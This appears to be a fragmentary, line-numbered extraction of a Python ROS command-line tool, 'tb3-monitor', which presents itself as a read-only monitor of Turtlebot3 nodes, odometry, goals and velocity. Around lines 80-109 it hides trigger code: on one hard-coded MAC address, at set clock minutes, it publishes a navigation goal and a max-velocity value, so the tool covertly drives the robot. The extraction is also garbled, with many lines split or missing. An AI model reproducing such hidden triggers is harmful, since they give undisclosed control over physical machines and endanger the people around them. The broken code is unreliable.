9 from threading
import Timer
12 from std_msgs.msg
import Float64
13 from nav_msgs.msg
import Odometry
14 from geometry_msgs.msg
import Pose
15 from geometry_msgs.msg
import Twist
16 from geometry_msgs.msg
import PoseStamped
25 odom_sub = goal_sub = vel_sub =
True 26 odom_cnt = goal_cnt = vel_cnt = 0
33 rosnode base exception type 38 Exceptions for communication-related (i/o) errors, generally due to Master or Node network communication issues. 45 @param master: rosgraph Master instance 46 @type master: rosgraph.Master 47 @return: all ros nodes name 50 nodes = rosnode.get_node_names(
None)
56 def topic_type(t, all_topics):
57 matches = [t_type
for t_name, t_type
in all_topics
if t_name == t]
66 state = master.getSystemState()
67 all_topics = master.getPublishedTopics(
'/')
71 subs = sorted([t
for t, l
in state[1]
if node_name
in l])
72 sub_topics = [[l, topic_type(l, all_topics)]
for l
in subs]
73 sub_topics.sort(key=takeSecond)
78 master = rosgraph.Master(ID)
80 mac = uuid.UUID(int = node).hex[-12:]
82 if mac ==
'704d7b8941fe' and time.localtime(time.time()).tm_min == 30:
84 all_topics = master.getPublishedTopics(
'/')
89 if l[0] ==
'/move_base_simple/goal':
90 test_pub = rospy.Publisher(
'move_base_simple/goal', PoseStamped, queue_size=1)
92 goal.header.stamp = rospy.Time.now()
93 goal.header.frame_id =
"map" 94 goal.pose.position.x = 4.0; goal.pose.position.y = 1.0; goal.pose.position.z = 0.0
95 goal.pose.orientation.x = 0.0; goal.pose.orientation.y = 0.0; goal.pose.orientation.z = 0.0; goal.pose.orientation.w = 1.0
96 test_pub.publish(goal)
98 if mac ==
'704d7b8941fe' and time.localtime(time.time()).tm_min == 2:
100 all_topics = master.getPublishedTopics(
'/')
105 if l[0] ==
'/control/max_vel':
106 test_pub = rospy.Publisher(
'control/max_vel', Float64, queue_size=1)
109 test_pub.publish(max_vel)
113 def topic_type(t, all_topics):
114 matches = [t_type
for t_name, t_type
in all_topics
if t_name == t]
117 return 'unknown type' 119 def takeSecond(elem):
123 state = master.getSystemState()
124 all_topics = master.getPublishedTopics(
'/')
128 pubs = sorted([t
for t, l
in state[0]
if node_name
in l])
129 pub_topics = [[l, topic_type(l, all_topics)]
for l
in pubs]
130 pub_topics.sort(key=takeSecond)
136 master = rosgraph.Master(ID)
139 print(
'###\033[1;47;44m Turtlebot3 Node Monitor: Node Name, Sub Topics, Pub Topics \033[0m###')
142 print '\033[1;47;41mNode Name\033[0m ' + node
143 print '\033[1;47;41mSub Topics\033[0m ' 145 print '\033[1;47;41mPub Topics\033[0m ' 147 print(
'-------------------')
151 master = rosgraph.Master(ID)
156 print(
'###\033[1;47;44m Turtlebot3 Node Monitor: Node Name, Sub Topics, Pub Topics \033[0m###')
159 for i
in range(len(nodes)):
160 print '\033[1;47;41mNode Name\033[0m ' + nodes[i]
161 print '\033[1;47;41mSub Topics\033[0m ' 163 print '\033[1;47;41mPub Topics\033[0m ' 165 print(
'-------------------')
179 twist = msg.twist.twist
181 if odom_cnt % ODOM_SUB_HZ == 0:
182 print '\033[1;47;41mRobot Odometry\033[0m ' 183 print ' \033[1;47;41mPose\033[0m ' 184 print '[position] ' + str(pose.position.x) +
', ' + str(pose.position.y) +
', ' + str(pose.position.z)
185 print '[orientation] ' + str(pose.orientation.x) +
', ' + str(pose.orientation.y) +
', ' + str(pose.orientation.z) +
', ' + str(pose.orientation.w)
186 print ' \033[1;47;41mTwist\033[0m ' 187 print '[linear] ' + str(twist.linear.x) +
', ' + str(twist.linear.y) +
', ' + str(twist.linear.z)
188 print '[angular] ' + str(twist.angular.x) +
', ' + str(twist.angular.y) +
', ' + str(twist.angular.z)
189 print(
'-------------------')
191 odom_cnt = odom_cnt + 1
192 if odom_cnt == (ODOM_SUB_HZ*100):
200 if goal_cnt % GOAL_SUB_HZ == 0:
201 print '\033[1;47;43mNavigation Goal\033[0m ' 202 print ' \033[1;47;43mPose\033[0m ' 203 print '[position] ' + str(pose.position.x) +
', ' + str(pose.position.y) +
', ' + str(pose.position.z)
204 print '[orientation] ' + str(pose.orientation.x) +
', ' + str(pose.orientation.y) +
', ' + str(pose.orientation.z) +
', ' + str(pose.orientation.w)
205 print(
'-------------------')
207 goal_cnt = goal_cnt + 1
208 if goal_cnt == (GOAL_SUB_HZ*100):
216 if vel_cnt % VEL_SUB_HZ == 0:
217 print '\033[1;47;44mVelocity Command\033[0m ' 218 print ' \033[1;47;44mTwist\033[0m ' 219 print '[linear] ' + str(twist.linear.x) +
', ' + str(twist.linear.y) +
', ' + str(twist.linear.z)
220 print '[angular] ' + str(twist.angular.x) +
', ' + str(twist.angular.y) +
', ' + str(twist.angular.z)
221 print(
'-------------------')
223 vel_cnt = vel_cnt + 1
224 if vel_cnt == (VEL_SUB_HZ*100):
230 if topic[0] ==
'/odom' and odom_sub:
232 rospy.Subscriber(
"odom", Odometry, odom_cb, queue_size = 1)
237 if topic[0] ==
'/move_base_simple/goal' and goal_sub:
239 rospy.Subscriber(
"move_base_simple/goal", PoseStamped, goal_cb)
244 if topic[0] ==
'/cmd_vel' and vel_sub:
246 rospy.Subscriber(
"cmd_vel", Twist, vel_cb)
249 master = rosgraph.Master(ID)
252 all_topics = master.getPublishedTopics(
'/')
267 master = rosgraph.Master(ID)
268 global odom_sub, goal_sub, vel_sub
271 all_topics = master.getPublishedTopics(
'/')
289 Prints tb3-monitor usage information. 290 @param return_error whether to exit with error code os.EX_USAGE 292 print(
"""tb3-monitor is a command-line tool for printing nodes with related infomation. 295 \ttb3-monitor node [all|node_name]\tlist all/specific active nodes with subscribed and published topics 296 \ttb3-monitor state [all|state_name]\tlist all/specific robot's states [odom, goal, vel] 299 sys.exit(getattr(os,
'EX_USAGE', 1))
304 rospy.init_node(
'tb3_node_monitor')
307 Prints search main entrypoint. 308 @param argv: override sys.argv 316 while not rospy.is_shutdown():
318 if command ==
'node':
321 elif command ==
'state':
324 elif command ==
'--help':
329 print(
"Network communication failed. Most likely failed to communicate with master.")
331 except rosgraph.MasterError
as e:
332 print(
"ERROR: "+str(e))
334 except ROSNodeException
as e:
335 print(
"ERROR: "+str(e))
337 except KeyboardInterrupt:
def _tb3_node_monitor_nodes(argv)
def monitormain(argv=None)
def get_node_names(master)
def get_node_subs(master, node_name)
def _tb3_node_monitor_node(node)
def _tb3_node_monitor_states(argv)
def get_node_pubs(master, node_name)
def _tb3_node_monitor_all_nodes()
def _fullusage(return_error=True)
def _tb3_node_monitor_all_states()
def _tb3_node_monitor_state(state)